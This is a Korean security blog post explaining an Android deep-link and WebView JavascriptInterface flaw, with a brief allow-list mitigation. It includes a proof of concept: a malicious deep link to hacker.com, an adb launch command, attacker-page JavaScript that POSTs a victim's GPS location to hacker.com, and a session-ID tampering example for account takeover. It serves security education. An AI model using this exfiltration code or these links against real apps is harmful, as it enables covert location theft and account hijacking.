안드로이드 딥링크 취약점 (tistory.com)

 

안드로이드 딥링크 취약점

ி 딥링크 취약점 실행 과정 1. AndroidManifest.xml 파일 내 application 태그에서 MainActivity 내 딥링크 사용 확인 딥링크: app://deeplink/load.jsp 2. getQueryParameter 함수를 통해 딥링크의 파라미터(Url) 값 확인이

jdh5202.tistory.com

 

ி 딥링크 취약점 실행 과정


1. AndroidManifest.xml 파일 내 application 태그에서 MainActivity 내 딥링크 사용 확인
딥링크: app://deeplink/load.jsp


2. getQueryParameter 함수를 통해 딥링크의 파라미터(Url) 값 확인이 가능하며 해당 파라미터를 이용하여 웹뷰를 실행하는 딥링크 앱인 것을 확인(url 검증 로직이 존재하지 않아 Open Redirect 취약점 연계 가능)
딥링크: app://deeplink/load.jsp?Url=


3. MainActivity 내 자바스크립트 인터페이스를 사용하는 getGPSLocation() 함수 확인,
해당 함수 실행 시 evaluateJavascript를 통해 send_gpsinfo 함수 실행
JavascriptInterface: 안드로이드와 웹뷰의 통신을 위해 만들어진 인터페이스이며
웹뷰 내 자바스크립트로 안드로이드 함수를 호출하거나 안드로이드에서 웹뷰의 자바스크립트 실행 가능
evaluateJavascript: 안드로이드에서 웹뷰 내의 자바스크립트 실행 가능

4. 공격자 서버로 이동되도록 poc 작성 후 딥링크 실행(피해자가 피싱에 의해 실행했다고 가정)
app://deeplink/load.jsp?Url=https://hacker.com/hacker_link.php"
딥링크 실행 방법 1. 딥링크 테스트 사이트 이용(https://jdh5202.tistory.com/951)
방법 2. 단말기 내에서 html 파일 생성 후 a 태그로 딥링크를 작성하여 요청
방법 3. adb 명령어 이용( adb shell am start -W -a android.intent.action.VIEW -d "deeplink" 패키지명
ex)adb shell am start -W -a android.intent.action.VIEW -d "app://deeplink/load.jsp?Url=javascript:Android.getGPSLocation\(\)" com.example.recv_deeplink


공격자 서버 페이지(hacker_link.php) 코드
 <html><head><script>
 function send_gpsinfo(gps_info)
 { 
 // gps 정보 출력 
 document.getElementById("result").innerHTML = gps_info; 
 
 // 공격자 서버로 피해자의 gps 정보를 전송
 client = new XMLHttpRequest();
 client.open('POST', 'https://hacker.com/saveGPSinfo.php',true);
 client.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
 client.send("gpsinfo=" + gps_info);
 }   
 </script></head><body><center>
 
 <!-- 딥링크 -->
 <a href="javascript:window.Android.getGPSLocation();">Click me!</a>
 
 <div id="result"></div>
 </center></body></html>


End. 피해자가 딥링크 클릭 시 공격자 서버로 GPS 정보가 전송됨

참고: 해당 취약점을 확인하려면 인텐트 스키마 및 JavascriptInterface 개념을 이해하고 있어야 한다.
취약점 조치방법은 allow-list 방식으로 인가된 URI에 대해서만 JavascriptInterface 권한을 부여하도록 설정한다. 
 

ி 딥링크 취약점 사례

 
딥링크를 통해 세션 하이재킹, 계정 탈취, LFI, webview 구현을 사용하는 xss 등 다양한 종류의 취약점이
발생할 수 있다. 예를들어 아래 딥링크를 통해 특정 사용자의 세션을 열 수 있다면 공격자는 파라미터 값 변조를
통해 계정 탈취를 수행하는 딥링크를 작성할 수 있다. 

example://exam.com/v1/users/sessionId=jdh5202  -> example://exam.com/v1/users/sessionId=admin 

블로그 이미지

wtdsoul

,